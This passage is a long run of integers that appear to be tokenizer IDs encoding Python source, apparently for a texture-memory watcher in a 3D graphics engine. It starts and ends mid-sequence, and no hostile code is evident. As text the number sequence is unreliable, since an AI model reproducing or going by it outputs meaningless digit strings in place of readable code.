582, 3505, 353, 1583, 29889, 3174, 29887, 29889, 657, 29925, 3445, 1965, 12724, 2141, 657, 17290, 16015, 24445, 580, 13, 9651, 565, 301, 582, 3505, 322, 301, 582, 3505, 529, 29871, 29906, 1068, 29941, 29906, 448, 29871, 29896, 29901, 13, 18884, 396, 15992, 263, 1855, 301, 582, 3505, 29889, 29871, 4803, 372, 29889, 13, 18884, 1583, 29889, 13400, 353, 301, 582, 3505, 13, 18884, 1583, 29889, 29880, 582, 24445, 353, 5852, 13, 13, 9651, 1683, 29901, 13, 18884, 396, 1939, 365, 28283, 4046, 2845, 29892, 577, 727, 2113, 29915, 29873, 367, 263, 15031, 13, 18884, 396, 4046, 304, 278, 8490, 11442, 24709, 261, 29889, 29871, 1334, 29915, 645, 8161, 1749, 13, 18884, 396, 4046, 373, 29899, 1552, 29899, 17652, 2012, 29889, 13, 18884, 1583, 29889, 16626, 24445, 353, 5852, 13, 13, 4706, 565, 1583, 29889, 16626, 24445, 29901, 13, 9651, 396, 14542, 852, 263, 13907, 4046, 491, 4513, 292, 304, 278, 2446, 3081, 310, 1023, 29889, 13, 9651, 1583, 29889, 13400, 353, 3992, 545, 29889, 786, 1762, 21472, 29906, 29898, 1311, 29889, 7827, 3505, 29897, 13, 13, 4706, 396, 3789, 1749, 402, 26016, 304, 4046, 3528, 304, 694, 901, 1426, 1973, 1135, 591, 13, 4706, 396, 2149, 304, 2479, 373, 10525, 29892, 577, 591, 1016, 29915, 29873, 748, 12220, 1537, 411, 13, 4706, 396, 18459, 3370, 29889, 13, 4706, 1583, 29889, 5080, 29889, 657, 29954, 5311, 2141, 657, 29925, 3445, 1965, 12724, 2141, 842, 17290, 16015, 24445, 29898, 1311, 29889, 13400, 29897, 13, 13, 4706, 396, 450, 3935, 3171, 310, 278, 10508, 29892, 3704, 278, 11969, 13, 4706, 396, 4038, 29889, 29871, 450, 18459, 3370, 3528, 338, 22078, 304, 313, 29900, 636, 29896, 29897, 13, 4706, 396, 4837, 1711, 29936, 3099, 6133, 1135, 29871, 29896, 338, 11969, 29889, 13, 4706, 2246, 353, 29871, 29896, 29889, 29906, 29945, 13, 4706, 565, 1583, 29889, 16626, 24445, 29901, 13, 9651, 396, 12823, 29892, 591, 29915, 645, 2360, 13461, 18459, 3370, 29892, 577, 2360, 3458, 29889, 13, 9651, 2246, 353, 29871, 29896, 13, 4706, 565, 2246, 2804, 1583, 29889, 3332, 29901, 13, 9651, 1583, 29889, 3332, 353, 2246, 13, 9651, 1583, 29889, 5675, 21960, 10581, 580, 13, 13, 4706, 1583, 29889, 15257, 29931, 575, 29889, 842, 3434, 29885, 3505, 29898, 29896, 29892, 1583, 29889, 3332, 29897, 13, 4706, 1583, 29889, 15257, 29931, 575, 29889, 842, 3434, 29885, 10302, 29898, 29900, 29889, 29945, 29892, 1583, 29889, 3332, 847, 29871, 29906, 29889, 29900, 29897, 29871, 396, 301, 575, 18469, 29871, 29900, 636, 29896, 297, 921, 322, 343, 13, 13, 1678, 822, 5941, 786, 29898, 1311, 1125, 13, 4706, 565, 451, 1583, 29889, 14941, 287, 3373, 29901, 13, 9651, 1583, 29889, 14941, 287, 3373, 353, 5852, 13, 13, 9651, 396, 15154, 278, 3474, 29889, 13, 9651, 2967, 29889, 6420, 12412, 29889, 5992, 5907, 29898, 1311, 29889, 5080, 29897, 13, 9651, 1583, 29889, 5080, 353, 6213, 13, 9651, 1583, 29889, 3174, 29887, 353, 6213, 13, 9651, 1583, 29889, 17760, 353, 6213, 13, 13, 9651, 396, 15154, 278, 9495, 29889, 13, 9651, 1583, 29889, 15769, 29889, 4801, 496, 4247, 580, 13, 13, 9651, 3414, 29924, 629, 29889, 5992, 29898, 1311, 29889, 7662, 29897, 13, 9651, 1583, 29889, 17281, 3596, 580, 13, 13, 9651, 1583, 29889, 15257, 29889, 657, 19334, 2141, 4801, 496, 580, 13, 9651, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 353, 6571, 13, 9651, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 353, 6571, 13, 9651, 1583, 29889, 4776, 29925, 4620, 4110, 353, 6571, 13, 13, 1678, 822, 18533, 16015, 24445, 7590, 29898, 1311, 1125, 13, 4706, 565, 1583, 29889, 16626, 24445, 470, 1583, 29889, 29880, 582, 24445, 29901, 13, 9651, 1583, 17255, 1867, 2697, 24445, 29898, 8516, 29897, 13, 9651, 1583, 29889, 276, 17591, 5907, 580, 13, 13, 1678, 822, 3474, 2624, 29898, 1311, 29892, 5401, 1125, 13, 4706, 565, 5401, 1275, 1583, 29889, 5080, 29901, 13, 9651, 17761, 353, 5401, 29889, 657, 11857, 580, 13, 9651, 565, 451, 17761, 29889, 657, 6585, 7295, 13, 18884, 396, 4911, 5764, 3474, 29889, 13, 18884, 1583, 29889, 14941, 786, 580, 13, 18884, 736, 13, 13, 9651, 2159, 353, 313, 11030, 29889, 657, 29990, 3505, 3285, 17761, 29889, 657, 29979, 3505, 3101, 13, 9651, 565, 2159, 2804, 1583, 29889, 5080, 3505, 29901, 13, 18884, 1583, 29889, 5080, 3505, 353, 2159, 13, 18884, 1583, 29889, 276, 17591, 5907, 580, 13, 13, 1678, 822, 3896, 18457, 29898, 1311, 29892, 5120, 29892, 2826, 1170, 1125, 13, 4706, 9995, 278, 9495, 756, 29081, 975, 263, 18459, 29889, 9995, 13, 4706, 1820, 29892, 2930, 353, 2910, 29898, 524, 29892, 5120, 29889, 19629, 2141, 5451, 877, 29901, 8785, 13, 4706, 534, 353, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 29889, 657, 29898, 1989, 29897, 13, 4706, 565, 451, 534, 29901, 13, 9651, 736, 13, 13, 4706, 1583, 29889, 842, 29934, 324, 417, 369, 29898, 509, 29892, 2930, 29897, 13, 13, 1678, 822, 5967, 18457, 29898, 1311, 29892, 5120, 29892, 2826, 1170, 1125, 13, 4706, 9995, 278, 9495, 338, 694, 5520, 975, 263, 18459, 29889, 9995, 13, 4706, 1820, 29892, 2930, 353, 2910, 29898, 524, 29892, 5120, 29889, 19629, 2141, 5451, 877, 29901, 8785, 13, 4706, 534, 353, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 29889, 657, 29898, 1989, 29897, 13, 4706, 565, 534, 2804, 1583, 29889, 20426, 369, 29901, 13, 9651, 736, 13, 13, 4706, 1583, 29889, 842, 29934, 324, 417, 369, 29898, 8516, 29892, 6213, 29897, 13, 13, 1678, 822, 9495, 4164, 29898, 1311, 1125, 13, 4706, 9995, 24328, 2347, 263, 9495, 29899, 3808, 2629, 278, 3474, 29889, 29871, 910, 11695, 1078, 13, 4706, 278, 5279, 29899, 28970, 287, 18459, 964, 263, 2989, 29899, 7165, 13, 4706, 24329, 29889, 9995, 13, 13, 4706, 565, 1583, 29889, 275, 23167, 29901, 13, 9651, 396, 1334, 29915, 276, 2307, 11695, 1218, 263, 18459, 29936, 278, 2828, 563, 29877, 267, 445, 29889, 13, 9651, 1583, 29889, 275, 23167, 21898, 29898, 8516, 29897, 13, 9651, 736, 13, 13, 4706, 565, 1583, 29889, 20426, 369, 29901, 13, 9651, 1583, 29889, 275, 23167, 21898, 29898, 1311, 29889, 20426, 369, 29897, 13, 13, 1678, 822, 731, 29934, 324, 417, 369, 29898, 1311, 29892, 534, 29892, 2930, 1125, 13, 4706, 9995, 317, 1691, 278, 12141, 287, 18459, 313, 29123, 304, 9495, 14467, 417, 369, 29897, 304, 13, 4706, 278, 18694, 18459, 29892, 470, 6213, 304, 2821, 372, 29889, 9995, 13, 13, 4706, 1583, 29889, 20426, 369, 353, 534, 13, 4706, 565, 1583, 29889, 20426, 369, 29901, 13, 9651, 1583, 29889, 4882, 1626, 29889, 12038, 29898, 509, 29889, 4776, 29889, 19629, 3101, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 4882, 1626, 29889, 12038, 877, 1495, 13, 13, 1678, 822, 11695, 403, 21898, 29898, 1311, 29892, 534, 1125, 13, 4706, 9995, 1317, 324, 1078, 278, 18694, 18459, 373, 10525, 29892, 470, 6213, 304, 13, 4706, 17749, 4226, 4464, 29889, 9995, 13, 13, 4706, 565, 1583, 29889, 275, 23167, 29901, 13, 9651, 1583, 29889, 275, 23167, 29889, 5992, 4247, 580, 13, 9651, 1583, 29889, 275, 23167, 353, 6213, 13, 13, 4706, 1583, 29889, 275, 324, 630, 353, 534, 13, 13, 4706, 396, 14211, 29877, 278, 3517, 1246, 304, 11695, 403, 29889, 13, 4706, 1583, 29889, 15257, 29889, 4294, 580, 13, 4706, 1583, 29889, 15257, 10581, 29889, 8551, 3306, 580, 13, 4706, 1583, 29889, 5080, 29889, 657, 29954, 5311, 2141, 12038, 545, 24399, 537, 4640, 29898, 21898, 29889, 2239, 4592, 29897, 13, 4706, 565, 756, 5552, 29898, 1311, 29889, 3174, 29887, 29892, 525, 8551, 8754, 1161, 21898, 29374, 13, 9651, 1583, 29889, 3174, 29887, 29889, 8551, 8754, 1161, 21898, 580, 13, 13, 4706, 565, 451, 534, 29901, 13, 9651, 736, 13, 13, 4706, 396, 2567, 11695, 403, 29889, 13, 13, 4706, 1583, 29889, 15257, 29889, 11458, 580, 13, 4706, 396, 3295, 519, 278, 2654, 2594, 472, 278, 2246, 29889, 13, 4706, 1583, 29889, 15257, 10581, 29889, 842, 3306, 29898, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 29897, 13, 13, 4706, 396, 7704, 278, 18459, 297, 599, 967, 22289, 26080, 29889, 13, 4706, 1583, 29889, 5080, 29889, 657, 29954, 5311, 2141, 12038, 545, 24399, 537, 4640, 29898, 21898, 29889, 2239, 25353, 29897, 13, 13, 4706, 565, 756, 5552, 29898, 1311, 29889, 3174, 29887, 29892, 525, 842, 8754, 1161, 21898, 29374, 13, 9651, 396, 7370, 278, 18459, 11013, 292, 297, 278, 1667, 3474, 29889, 13, 9651, 1583, 29889, 3174, 29887, 29889, 842, 8754, 1161, 21898, 29898, 509, 29889, 4776, 29897, 13, 13, 4706, 1583, 29889, 275, 23167, 353, 1583, 29889, 9482, 29906, 29881, 29889, 14930, 4373, 4247, 877, 275, 23167, 1495, 13, 13, 4706, 26437, 29892, 5018, 353, 1583, 29889, 5080, 3505, 13, 13, 4706, 396, 12065, 263, 3858, 373, 278, 5970, 310, 278, 4315, 29889, 13, 4706, 260, 29876, 353, 3992, 4247, 877, 6277, 1495, 13, 4706, 260, 29876, 29889, 12038, 877, 29995, 29879, 29905, 29876, 29995, 29879, 921, 1273, 29879, 29905, 29876, 29995, 29879, 29915, 1273, 313, 13, 9651, 534, 29889, 4776, 29889, 19629, 3285, 534, 29889, 4776, 29889, 657, 29990, 3505, 3285, 534, 29889, 4776, 29889, 657, 29979, 3505, 3285, 13, 9651, 1583, 29889, 4830, 3505, 29898, 509, 29889, 2311, 4961, 13, 4706, 260, 29876, 29889, 842, 2499, 647, 29898, 6277, 29889, 2477, 5893, 29897, 13, 4706, 260, 29876, 29889, 842, 13200, 2887, 29924, 3930, 29898, 29896, 29900, 29900, 29889, 29900, 29892, 29871, 29896, 29900, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29896, 29892, 29871, 29900, 29889, 29896, 29897, 13, 4706, 260, 29876, 29889, 842, 13200, 3306, 29898, 29900, 29889, 29896, 29892, 29871, 29900, 29889, 29906, 29892, 29871, 29900, 29889, 29946, 29892, 29871, 29896, 29897, 13, 4706, 260, 9302, 353, 1583, 29889, 275, 23167, 29889, 14930, 4373, 4247, 29898, 6277, 29897, 13, 4706, 6287, 353, 29871, 29941, 29900, 29889, 29900, 847, 5018, 13, 4706, 260, 9302, 29889, 842, 17185, 29898, 7052, 334, 5018, 847, 26437, 29892, 6287, 29892, 6287, 29897, 13, 4706, 260, 9302, 29889, 842, 9135, 29898, 9482, 29906, 29881, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 448, 29896, 448, 260, 29876, 29889, 657, 15342, 580, 334, 6287, 29897, 13, 13, 4706, 3858, 7031, 353, 260, 29876, 29889, 657, 7011, 580, 334, 6287, 13, 13, 4706, 396, 8561, 263, 5881, 393, 3697, 278, 18459, 297, 3935, 15526, 2159, 29892, 541, 13, 4706, 396, 1016, 29915, 29873, 1235, 372, 13461, 278, 4315, 2159, 29889, 13, 4706, 3252, 353, 534, 29889, 4776, 29889, 657, 29990, 3505, 580, 13, 4706, 266, 353, 534, 29889, 4776, 29889, 657, 29979, 3505, 580, 13, 13, 4706, 26437, 353, 5785, 29898, 23310, 29897, 13, 4706, 5018, 353, 5785, 29898, 12822, 29897, 334, 313, 29906, 29889, 29900, 448, 3858, 7031, 29897, 334, 29871, 29900, 29889, 29945, 13, 13, 4706, 281, 353, 1375, 29898, 7516, 29892, 26437, 29897, 13, 4706, 298, 353, 1375, 29898, 386, 29892, 5018, 29897, 13, 13, 4706, 269, 29916, 353, 281, 847, 3252, 13, 4706, 9878, 353, 298, 847, 266, 13, 4706, 269, 353, 1375, 29898, 29879, 29916, 29892, 9878, 29897, 13, 13, 4706, 281, 353, 3252, 334, 269, 847, 5785, 29898, 1311, 29889, 5080, 3505, 29961, 29900, 2314, 13, 4706, 298, 353, 266, 334, 269, 847, 5785, 29898, 1311, 29889, 5080, 3505, 29961, 29896, 2314, 13, 13, 4706, 28232, 353, 29871, 29900, 29889, 29900, 13, 4706, 5094, 353, 29871, 29896, 29889, 29900, 448, 313, 29906, 29889, 29900, 448, 3858, 7031, 29897, 334, 29871, 29900, 29889, 29945, 13, 13, 4706, 301, 353, 28232, 448, 281, 13, 4706, 364, 353, 28232, 718, 281, 13, 4706, 289, 353, 5094, 448, 298, 13, 4706, 260, 353, 5094, 718, 298, 13, 13, 4706, 7477, 353, 9160, 29924, 5790, 877, 7543, 1495, 13, 4706, 7477, 29889, 842, 4308, 29898, 29880, 29892, 364, 29892, 289, 29892, 260, 29897, 13, 4706, 274, 353, 1583, 29889, 275, 23167, 29889, 14930, 4373, 4247, 29898, 4912, 29889, 17158, 3101, 13, 4706, 274, 29889, 12038, 545, 29898, 509, 29889, 4776, 29897, 13, 4706, 274, 29889, 842, 4300, 862, 3819, 29898, 4300, 862, 3819, 4165, 1091, 29889, 1529, 29880, 2026, 29897, 13, 13, 4706, 19375, 353, 7407, 17669, 29879, 877, 2557, 1495, 13, 4706, 19375, 29889, 842, 3306, 29898, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 29871, 29896, 29897, 13, 4706, 19375, 29889, 11631, 1762, 29898, 29880, 29892, 29871, 29900, 29892, 289, 29897, 13, 4706, 19375, 29889, 4012, 1762, 29898, 29878, 29892, 29871, 29900, 29892, 289, 29897, 13, 4706, 19375, 29889, 4012, 1762, 29898, 29878, 29892, 29871, 29900, 29892, 260, 29897, 13, 4706, 19375, 29889, 4012, 1762, 29898, 29880, 29892, 29871, 29900, 29892, 260, 29897, 13, 4706, 19375, 29889, 4012, 1762, 29898, 29880, 29892, 29871, 29900, 29892, 289, 29897, 13, 4706, 1583, 29889, 275, 23167, 29889, 14930, 4373, 4247, 29898, 3137, 29889, 3258, 3101, 13, 13, 13, 1678, 822, 337, 17591, 5907, 29898, 1311, 1125, 13, 4706, 9995, 2538, 1691, 4129, 363, 263, 716, 3474, 2159, 29889, 9995, 13, 13, 4706, 26437, 29892, 5018, 353, 1583, 29889, 5080, 3505, 13, 4706, 565, 26437, 5277, 29871, 29900, 470, 5018, 5277, 29871, 29900, 29901, 13, 9651, 736, 13, 13, 4706, 1583, 29889, 294, 1103, 29906, 29881, 29889, 842, 17185, 29898, 7411, 29898, 12822, 29897, 847, 5785, 29898, 23310, 511, 29871, 29896, 29892, 29871, 29896, 29897, 13, 13, 4706, 396, 27811, 1583, 29889, 5709, 7011, 17036, 363, 278, 4660, 2594, 29936, 13, 4706, 396, 4129, 1683, 338, 363, 278, 10508, 29889, 13, 13, 4706, 4660, 17185, 353, 5785, 29898, 1311, 29889, 5709, 7011, 29897, 847, 5785, 29898, 12822, 29897, 13, 4706, 1583, 29889, 4882, 10581, 29889, 842, 17185, 29898, 29896, 29892, 29871, 29896, 29892, 4660, 17185, 29897, 13, 4706, 1583, 29889, 4882, 29889, 842, 17185, 29898, 4882, 17185, 29897, 13, 4706, 1583, 29889, 4882, 1626, 25500, 29889, 842, 9135, 29898, 1311, 29889, 4882, 10581, 29892, 29871, 29900, 29892, 29871, 29900, 29892, 29871, 29900, 29889, 29945, 29897, 13, 4706, 1583, 29889, 2311, 1626, 25500, 29889, 842, 9135, 29898, 1311, 29889, 4882, 10581, 29892, 29871, 29906, 29892, 29871, 29900, 29892, 29871, 29900, 29889, 29945, 29897, 13, 13, 4706, 1583, 29889, 15257, 8353, 29889, 842, 16142, 5580, 29898, 29900, 29892, 29871, 29896, 29892, 4660, 17185, 29892, 29871, 29896, 29897, 13, 13, 4706, 281, 353, 1583, 29889, 15257, 8353, 29889, 657, 29637, 6110, 580, 13, 4706, 298, 353, 1583, 29889, 15257, 8353, 29889, 657, 29637, 7011, 580, 13, 4706, 1583, 29889, 15257, 10581, 29889, 842, 26887, 17185, 29898, 21898, 27276, 29889, 657, 4592, 3285, 13, 462, 462, 3986, 281, 847, 29871, 29906, 29900, 29889, 29900, 29892, 298, 847, 313, 29906, 29900, 29889, 29900, 334, 1583, 29889, 3332, 876, 13, 13, 4706, 565, 1583, 29889, 275, 23167, 29901, 13, 9651, 396, 960, 591, 29915, 276, 5279, 6445, 385, 23968, 18459, 29892, 11086, 13, 9651, 396, 393, 2479, 577, 591, 679, 967, 2159, 1492, 29889, 29871, 1126, 746, 591, 2041, 13, 9651, 396, 1250, 304, 278, 1667, 3474, 313, 4187, 451, 1286, 511, 1634, 547, 372, 29889, 13, 9651, 1583, 29889, 484, 5779, 5612, 547, 353, 5852, 13, 9651, 1583, 29889, 275, 23167, 21898, 29898, 1311, 29889, 275, 324, 630, 29897, 13, 13, 4706, 1683, 29901, 13, 9651, 396, 960, 591, 29915, 276, 6445, 278, 1667, 3474, 29892, 925, 1634, 547, 372, 13, 9651, 396, 7389, 29889, 13, 9651, 1583, 29889, 3445, 547, 580, 13, 13, 1678, 822, 2767, 1626, 1973, 29898, 1311, 29892, 3414, 1125, 13, 4706, 9995, 402, 1691, 278, 1857, 1051, 310, 20201, 1426, 1973, 322, 12778, 716, 13, 4706, 1426, 1973, 470, 25388, 2030, 6743, 515, 278, 373, 10525, 2479, 29892, 408, 13, 4706, 5181, 29889, 9995, 13, 13, 4706, 565, 1583, 29889, 275, 23167, 29901, 13, 9651, 396, 2360, 3458, 363, 1286, 29889, 13, 9651, 736, 3414, 29889, 351, 475, 13, 13, 4706, 565, 1583, 29889, 484, 5779, 5612, 547, 29901, 13, 9651, 1583, 29889, 484, 5779, 5612, 547, 353, 7700, 13, 9651, 1583, 29889, 3445, 547, 580, 13, 9651, 736, 3414, 29889, 351, 475, 13, 13, 4706, 282, 1484, 353, 1583, 29889, 3174, 29887, 29889, 657, 29925, 3445, 1965, 12724, 580, 13, 4706, 3001, 3505, 353, 29871, 29900, 13, 13, 4706, 19696, 4789, 4339, 353, 5159, 13, 4706, 2360, 6116, 1573, 353, 3509, 29889, 8552, 29898, 1311, 29889, 4776, 4789, 4339, 2059, 26887, 29897, 13, 4706, 363, 19696, 297, 1583, 29889, 3174, 29887, 29889, 657, 29925, 3445, 1965, 1626, 1973, 7295, 13, 9651, 396, 1334, 505, 16669, 445, 18459, 29936, 3349, 372, 515, 278, 13, 9651, 396, 2360, 6116, 1573, 1051, 29889, 13, 9651, 565, 19696, 297, 2360, 6116, 1573, 29901, 13, 18884, 628, 2360, 6116, 1573, 29961, 4776, 29962, 13, 13, 9651, 2159, 353, 29871, 29900, 13, 9651, 565, 19696, 29889, 657, 1666, 1693, 29898, 29886, 1484, 1125, 13, 18884, 2159, 353, 19696, 29889, 657, 1469, 3505, 11207, 29898, 29886, 1484, 29897, 13, 13, 9651, 534, 353, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 29889, 657, 29898, 4776, 29892, 6213, 29897, 13, 13, 9651, 565, 2159, 29901, 13, 18884, 3001, 3505, 4619, 2159, 13, 18884, 6136, 353, 19696, 29889, 657, 9966, 29898, 29886, 1484, 29897, 13, 18884, 565, 451, 534, 29901, 13, 462, 1678, 396, 910, 338, 263, 716, 18459, 29936, 817, 304, 2407, 372, 29889, 13, 462, 1678, 1820, 353, 1583, 29889, 4622, 26887, 9182, 2558, 13, 462, 1678, 1583, 29889, 4622, 26887, 9182, 2558, 4619, 29871, 29896, 13, 462, 1678, 534, 353, 8490, 9182, 29898, 1989, 29892, 19696, 29892, 2159, 29892, 6136, 29897, 13, 462, 1678, 19696, 4789, 4339, 29889, 4397, 29898, 509, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 534, 29889, 842, 9966, 29898, 4925, 29897, 13, 462, 1678, 565, 534, 29889, 2311, 2804, 2159, 470, 451, 534, 29889, 29886, 4620, 4110, 29901, 13, 462, 4706, 396, 450, 2159, 756, 3939, 29936, 337, 7302, 372, 29889, 13, 462, 4706, 534, 29889, 842, 3505, 29898, 2311, 29897, 13, 462, 4706, 1583, 29889, 348, 6689, 21898, 29898, 509, 29897, 13, 462, 4706, 19696, 4789, 4339, 29889, 4397, 29898, 509, 29897, 13, 9651, 1683, 29901, 13, 18884, 565, 534, 29901, 13, 462, 1678, 396, 910, 18459, 338, 694, 5520, 20201, 29936, 817, 304, 3349, 372, 29889, 13, 462, 1678, 1583, 29889, 348, 6689, 21898, 29898, 509, 29897, 13, 13, 4706, 396, 2567, 748, 1549, 322, 1207, 1854, 591, 443, 6689, 313, 392, 3349, 14366, 738, 13, 4706, 396, 1426, 1973, 393, 591, 3282, 29915, 29873, 6493, 472, 599, 445, 1209, 29889, 13, 4706, 363, 19696, 29892, 534, 297, 2360, 6116, 1573, 29889, 7076, 7295, 13, 9651, 1583, 29889, 348, 6689, 21898, 29898, 509, 29897, 13, 9651, 628, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 29961, 4776, 29962, 13, 9651, 628, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 29961, 509, 29889, 1989, 29962, 13, 13, 4706, 1583, 29889, 7827, 3505, 353, 3001, 3505, 13, 4706, 1583, 29889, 2311, 1626, 29889, 12038, 29898, 1311, 29889, 4830, 3505, 29898, 1311, 29889, 7827, 3505, 876, 13, 4706, 565, 3001, 3505, 1405, 1583, 29889, 13400, 322, 1583, 29889, 16626, 24445, 29901, 13, 9651, 396, 12823, 29892, 2360, 3458, 373, 278, 2767, 29901, 591, 505, 13461, 287, 278, 13, 9651, 396, 7343, 4046, 15712, 1434, 29892, 322, 5480, 591, 817, 304, 13, 9651, 396, 1634, 547, 29889, 13, 9651, 1583, 29889, 3445, 547, 580, 13, 13, 4706, 1683, 29901, 13, 9651, 11969, 3981, 353, 2533, 29898, 1958, 29898, 2892, 260, 29886, 29901, 260, 29886, 29889, 2262, 287, 29892, 1583, 29889, 4776, 29925, 4620, 4110, 29889, 8149, 22130, 13, 9651, 565, 3001, 3505, 5277, 1583, 29889, 13400, 322, 11969, 3981, 29901, 13, 18884, 396, 10575, 29876, 29915, 29873, 367, 11969, 292, 738, 901, 29889, 29871, 26965, 1634, 547, 29889, 13, 18884, 1583, 29889, 3445, 547, 580, 13, 13, 9651, 1683, 29901, 13, 18884, 396, 18744, 297, 925, 278, 15141, 29899, 15638, 1426, 1973, 29889, 13, 13, 18884, 396, 20025, 278, 12786, 515, 10150, 304, 19087, 304, 5256, 675, 13, 18884, 396, 4870, 292, 2779, 20193, 29889, 13, 18884, 19696, 4789, 4339, 29889, 6605, 29898, 1989, 353, 14013, 534, 29901, 313, 509, 29889, 7516, 29892, 534, 29889, 386, 511, 11837, 353, 5852, 29897, 13, 13, 18884, 363, 534, 297, 19696, 4789, 4339, 29901, 13, 462, 1678, 1583, 29889, 6689, 21898, 29898, 509, 29897, 13, 462, 1678, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 29961, 509, 29889, 4776, 29962, 353, 534, 13, 462, 1678, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 29961, 509, 29889, 1989, 29962, 353, 534, 13, 13, 4706, 736, 3414, 29889, 351, 475, 13, 13, 13, 1678, 822, 1634, 547, 29898, 1311, 1125, 13, 4706, 9995, 830, 4058, 29879, 599, 310, 278, 1857, 1426, 1973, 29889, 9995, 13, 13, 4706, 1583, 29889, 15257, 29889, 657, 19334, 2141, 4801, 496, 580, 13, 4706, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 353, 6571, 13, 4706, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 353, 6571, 13, 4706, 1583, 29889, 4776, 29925, 4620, 4110, 353, 6571, 13, 4706, 1583, 29889, 2966, 13168, 29879, 353, 5159, 13, 4706, 1583, 29889, 29885, 29893, 29889, 8551, 4597, 1080, 580, 13, 4706, 1583, 29889, 842, 29934, 324, 417, 369, 29898, 8516, 29892, 6213, 29897, 13, 4706, 1583, 29889, 29893, 353, 29871, 29896, 13, 4706, 1583, 29889, 29882, 353, 29871, 29896, 13, 4706, 1583, 29889, 13974, 1133, 3505, 353, 29871, 29900, 13, 4706, 1583, 29889, 13974, 1133, 29984, 3505, 353, 29871, 29900, 13, 13, 4706, 282, 1484, 353, 1583, 29889, 3174, 29887, 29889, 657, 29925, 3445, 1965, 12724, 580, 13, 4706, 3001, 3505, 353, 29871, 29900, 13, 13, 4706, 363, 19696, 297, 1583, 29889, 3174, 29887, 29889, 657, 29925, 3445, 1965, 1626, 1973, 7295, 13, 9651, 565, 19696, 29889, 657, 1666, 1693, 29898, 29886, 1484, 1125, 13, 18884, 2159, 353, 19696, 29889, 657, 1469, 3505, 11207, 29898, 29886, 1484, 29897, 13, 18884, 565, 2159, 29901, 13, 462, 1678, 6136, 353, 19696, 29889, 657, 9966, 29898, 29886, 1484, 29897, 13, 462, 1678, 1820, 353, 1583, 29889, 4622, 26887, 9182, 2558, 13, 462, 1678, 1583, 29889, 4622, 26887, 9182, 2558, 4619, 29871, 29896, 13, 462, 1678, 534, 353, 8490, 9182, 29898, 1989, 29892, 19696, 29892, 2159, 29892, 6136, 29897, 13, 462, 1678, 1583, 29889, 4776, 4789, 4339, 2059, 26887, 29961, 509, 29889, 4776, 29962, 353, 534, 13, 462, 1678, 1583, 29889, 4776, 4789, 4339, 2059, 2558, 29961, 509, 29889, 1989, 29962, 353, 534, 13, 462, 1678, 3001, 3505, 4619, 2159, 13, 13, 4706, 1583, 29889, 7827, 3505, 353, 3001, 3505, 13, 4706, 1583, 29889, 2311, 1626, 29889, 12038, 29898, 1311, 29889, 4830, 3505, 29898, 1311, 29889, 7827, 3505, 876, 13, 4706, 565, 451, 1583, 29889, 7827, 3505, 29901, 13, 9651, 736, 13, 13, 4706, 565, 1583, 29889, 16626, 24445, 470, 1583, 29889, 29880, 582, 24445, 29901, 13, 9651, 396, 2087, 5143, 278, 4046, 304, 9801, 591, 3013, 23110, 278, 301, 582, 2159, 29889, 13, 9651, 1583, 17255, 1867, 2697, 24445, 29898, 8516, 29897, 13, 13, 4706, 396, 2567, 1207, 393, 964, 263, 29871, 29906, 29899, 29928, 16701, 310, 278, 8210, 8267, 29892, 13, 4706, 396, 1316, 393, 281, 334, 298, 1275, 4046, 29889, 13, 13, 4706, 396, 18379, 2159, 13, 4706, 921, 29892, 343, 353, 1583, 29889, 5080, 3505, 13, 13, 4706, 396, 1670, 881, 367, 263, 2217, 6835, 373, 278, 2246, 577, 591, 508, 1074, 565, 13, 4706, 396, 591, 11969, 29889, 13, 4706, 343, 847, 29922, 1583, 29889, 3332, 13, 13, 4706, 364, 353, 5785, 29898, 29891, 29897, 847, 5785, 29898, 29916, 29897, 13, 13, 4706, 396, 11069, 2159, 13, 4706, 281, 353, 5844, 29889, 3676, 29898, 1311, 29889, 13400, 29897, 847, 5844, 29889, 3676, 29898, 29878, 29897, 13, 4706, 298, 353, 281, 334, 364, 13, 13, 4706, 396, 2567, 6755, 1583, 29889, 12150, 675, 577, 393, 591, 1016, 29915, 29873, 13461, 13, 4706, 396, 1583, 29889, 3317, 7011, 29889, 13, 4706, 565, 298, 1405, 1583, 29889, 3317, 7011, 29901, 13, 9651, 1583, 29889, 12150, 675, 353, 938, 29898, 755, 29889, 27696, 29898, 29882, 847, 1583, 29889, 3317, 7011, 876, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 12150, 675, 353, 29871, 29896, 13, 13, 4706, 281, 353, 4236, 29898, 524, 29898, 29893, 847, 1583, 29889, 12150, 675, 718, 29871, 29900, 29889, 29945, 511, 29871, 29896, 29897, 13, 4706, 298, 353, 4236, 29898, 524, 29898, 29882, 847, 1583, 29889, 12150, 675, 718, 29871, 29900, 29889, 29945, 511, 29871, 29896, 29897, 13, 4706, 1583, 29889, 29893, 353, 281, 13, 4706, 1583, 29889, 29882, 353, 298, 13, 4706, 1583, 29889, 6203, 353, 1583, 29889, 29893, 334, 1583, 29889, 29882, 13, 13, 4706, 396, 1334, 3787, 263, 2586, 2378, 363, 1269, 1948, 29892, 363, 5172, 16280, 363, 13, 4706, 396, 443, 15956, 630, 2913, 373, 278, 10508, 29889, 29871, 7806, 660, 29899, 5441, 373, 278, 1948, 13, 4706, 396, 16161, 304, 263, 2586, 297, 278, 2586, 2378, 29892, 988, 2586, 29871, 29900, 338, 660, 29899, 5441, 13, 4706, 396, 29871, 29900, 29892, 2586, 29871, 29896, 338, 660, 29899, 5441, 29871, 29896, 29892, 322, 577, 373, 29889, 29871, 960, 278, 2586, 338, 731, 29892, 278, 13, 4706, 396, 2913, 338, 16404, 29889, 13, 4706, 1583, 29889, 2966, 13168, 29879, 353, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 